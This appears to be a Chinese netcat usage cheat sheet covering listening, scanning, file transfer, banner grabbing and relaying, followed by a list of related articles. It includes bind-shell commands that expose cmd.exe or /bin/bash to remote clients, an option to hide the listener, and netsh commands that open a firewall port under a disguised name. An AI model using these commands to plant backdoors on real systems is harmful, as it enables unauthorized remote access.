nc用法
NC 在客户端 和 服务器执行
---------------------------------------------------------------------------------------------------------------------------------------------------
执行命令 -l 表示在服务器端启用监听模式
-p 指定监听的端口
-e 指定允许远程客户端访问监听端口时执行的程序
例如:
在远程服务器端执行 NC -l -p 12345 -e cmd.exe //表示在(windows)服务器监听12345端口,如果远程客户端访问12345端口将会将本地cmd.exe反 弹给客户端执行。
nc -l -p 12345 -e /bin/bash //在(linux)服务器监听12345端口,如果远程客户端访问12345端口会将本地bash反弹给客户端执行。
在本地客户端执行 nc 服务器ip 12345 // 连接服务器的12345端口,如果服务器端指定连接时执行的程序,会将服务器端的cmd.exe等反弹给客户端。
---------------------------------------------------------------------------------------------------------------------------------------------------
其他命令
-d隐藏服务在后台运行
nc -l -p 12345 -e cmd.exe -d //隐藏窗口服务后台运行
0.71版本 -d 2 设置延迟2秒后执行命令
-L不断打开nc进程,不断开随时连接
nc -l -p 12345 -e cmd.exe -d -L
-k 服务器端允许多个客户端连接数
-n 不做域名解析
-v/-vv 显示详细信息
-z syn扫描 -r随机端口 -i 设置延迟扫描
nc -v 192.168.113.1 21,80,443
nc -v 192.168.113.1 1-200
nc -v 192.168.113.1 http
输出重定向
nc -l -p 12345 > test //输出到test
>> //追加到不覆盖原有内容
-u 使用udp模式
---------------------------------------------------------------------------------------------------------------------------------------------------
可以交互聊天
nc -n -l -u -p 53
nc -n -u ip 53
--------------------------------------------------------------------------------------------------------------------------------------------------
文件传输
远程服务端 nc -l -p 12345 < test.txt //远程服务器端执行,将服务器端test.txt发送给客户机
本地客户机 nc ip 12345 > test.txt //客户端执行,连接服务器获取test.txt
本地做服务器 nc -l -p 12345 > test.txt
远程客户机 nc ip 12345 < test.txt
-w 2 传输完成后2秒后断开
-o test 抓包保存至test
---------------------------------------------------------------------------------------------------------------------------------------------------
获取信息,下载
nc ip 22 //获取某ip的ssh服务信息
nc 域名 port
GET / HTTP/1.0
HEAD / HTTP/1.0 获取服务信息 两次回车
---------------------------------------------------------------------------------------------------------------------------------------------------
跳板
A主机 nc b_ip 33333 //第三步连接b主机33333端口相当于访问c主机55555端口
B主机 nc -l -p 33333 | nc c_ip 55555 //第二步B主机连接C主机55555端口并通过管道转至本机通过33333端口监听
C主机 nc -l -p 55555 //第一步在C主机监听55555端口
----------------------------------------------------------------------------------------------------------------------------------------------------
netsh firewall show opmode 显示防火墙工作模式
netsh firewall set opmode mode = enable exceptions =enable profile =all
netsh firewall add portopening tcp 1234 "Windows Firewall Reporting Agent" enable all
netsh firewall show portopening
nc用法的更多相关文章
- linux监控命令nc用法
一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...
- nc用法【转】
linux nc命令使用详解 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o& ...
- nc用法小记
By francis_hao Jun 30,2017 ncat:连接和重定向套接字 概要 ncat [OPTIONS...] [hostname] [port] 描述 ncat 是一个集 ...
- nc命令用法举例
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- 12. nc/netcat 用法举例
nc命令用法举例 什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可 ...
- nc命令用法举
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- NC 命令引用了一个高手的文章做收藏
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
- 使用nc传输文件和目录【转】
方法1,传输文件演示(先启动接收命令) 使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了 把A机器上的一个rpm文件发送到B机器上 需注意操作次序,receiver先侦听 ...
- 【转至nmap】nc命令
什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...
随机推荐
- MySQL实战45讲学习笔记:第三十讲
一.复习一下加锁规则 在第20和21篇文章中,我和你介绍了 InnoDB 的间隙锁.next-key lock,以及加锁规则.在这两篇文章的评论区,出现了很多高质量的留言.我觉得通过分析这些问题,可以 ...
- aicoder实习svn内部培训教程
1 svn介绍 都已经用了git,为什么还要介绍svn呢?为了让aicoder.com的学员能够掌握多种的源代码管理工具的使用方法,更快的融入到项目开发中,特整理此文档. 1.1 项目管理中的版本控制 ...
- docker-composer 简单教程
原文地址:https://blog.51cto.com/9291927/2310444 Docker快速入门——Docker-Compose 一.Docker-Compose简介 1.Docker-C ...
- 【记录】【idea】【mysql】Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.解决问题
idea连接mysql报错Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property ...
- c++小学期大作业攻略(五)基于QSS的样式美化
这回真的是最后一篇了. 前面说过,我们开发过程中暂时不搭理样式问题,等最后再一起处理,那么现在就是最后处理时刻了!看到网上说QSS跟CSS差不多,我还觉得自己可以干回老本行了,结果用起来发现,QSS是 ...
- 使用AtomicInteger写一个显示锁
利用了AtomicInteger的compareAndSet方法 public class CASLock { private AtomicInteger value = new AtomicInte ...
- Rider中Winform开发支持预览(5)
1.Rider .netCore3.0 winform设计器支持预览,这点vs目前还不支持. 2.不过winform下控件选择工具栏都是没有图标的
- 第九节:EF Core各种迁移指令(CodeFirst和DBFirst)
一. CodeFirst模式指令 1.前提: 必须的程序集: Microsoft.EntityFrameworkCore.Tools Microsoft.EntityFrameworkCore.Des ...
- sitemap 文件的生成 sitemap文件和sitemapindex 索引文件的生成
<?php /*****连接数据库 start*******/ $dbhost = "localhost"; $username = "root"; $u ...
- ABP——切换MySQL数据库
我是一名.net新手,应公司要求开始学习.net,使用的是土耳其大牛写的框架ASP.NET Boilerplate 简称ABP,是基于DDD的现代ASP.NET开发框架,ABP提供了一个启动模板用于新 ...